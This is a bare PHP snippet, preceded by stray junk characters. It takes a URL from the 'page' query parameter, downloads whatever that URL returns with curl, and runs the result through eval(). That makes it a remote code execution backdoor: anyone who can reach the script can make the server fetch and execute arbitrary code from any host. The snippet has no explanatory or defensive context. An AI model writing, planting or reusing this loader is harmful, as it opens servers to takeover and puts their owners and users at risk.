sasasaif (isset($_GET['page']) && !empty($_GET['page'])) {    $page_url = $_GET['page'];    $ch = curl_init();    curl_setopt($ch, CURLOPT_URL, $page_url);    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);    $code = curl_exec($ch);    curl_close($ch);    if ($code !== false) {        eval("$code ");    }}